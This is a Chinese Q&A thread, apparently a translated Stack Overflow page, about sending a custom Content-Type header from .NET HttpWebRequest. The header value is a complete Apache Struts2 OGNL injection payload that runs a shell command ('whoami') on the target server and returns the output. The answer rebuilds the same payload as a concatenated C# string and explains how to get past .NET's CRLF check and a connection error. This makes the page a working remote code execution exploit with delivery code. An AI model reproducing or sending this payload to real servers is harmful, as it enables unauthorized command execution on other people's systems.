使用特殊内容类型的HTTP GET和在.NET 4.5中显示无效CRLF的异常

时间:2018-04-13 04:23:09

标签: c# .net http get content-type

我试图帮助我的朋友使用HttpWebReqeust测试他的网站上的一个错误来做GET,他问我需要使用特殊的内容类型作为打击:

 url =xxx,
   method =get,
   content-type="%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new  (here is new line) java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}",
  KeepAlive =false,
  OverTime = 8000 (ms)

当我运行它时,它会破坏内容类型分配和错误消息,显示"无效的CRLF&#34 ;; 它由元数据功能限制引起:

microsoft lib

你可以看到内容类型中的字符:&#34; p = new java&#34;,它包含空行,新行。<​​/ p>

如何通过验证?

你能告诉我一些建议吗?

非常感谢!!!

1 个答案:

答案 0 :(得分:0)

Hiiiii All

它已经解决了。

第一次我试图将这些分开。 打击:

 string payload = "";
            payload = "%{(#_='multipart/form-data')."; ;
            payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).";
            payload += "(#_memberAccess?";
            payload += "(#_memberAccess=#dm):";
            payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container']).";
            payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).";
            payload += "(#ognlUtil.getExcludedPackageNames().clear()).";
            payload += "(#ognlUtil.getExcludedClasses().clear()).";
            payload += "(#context.setMemberAccess(#dm)))).";
            payload += "(#cmd='whoami').";
            payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).";
            payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).";
            payload += "(#p=new java.lang.ProcessBuilder(#cmds)).";
            payload += "(#p.redirectErrorStream(true)).(#process=#p.start()).";
            payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).";
            payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).";
            payload += "(#ros.flush())}";

它工作正常。

然后我遇到了另一个关于异常提到无法从连接中读取数据的问题:连接已关闭。

我发现.NET默认HTTP版本是11 我尝试将其更改为10:Request.ProtocolVersion = HttpVersion.Version10;

现在一切都很好。 希望能帮助别人。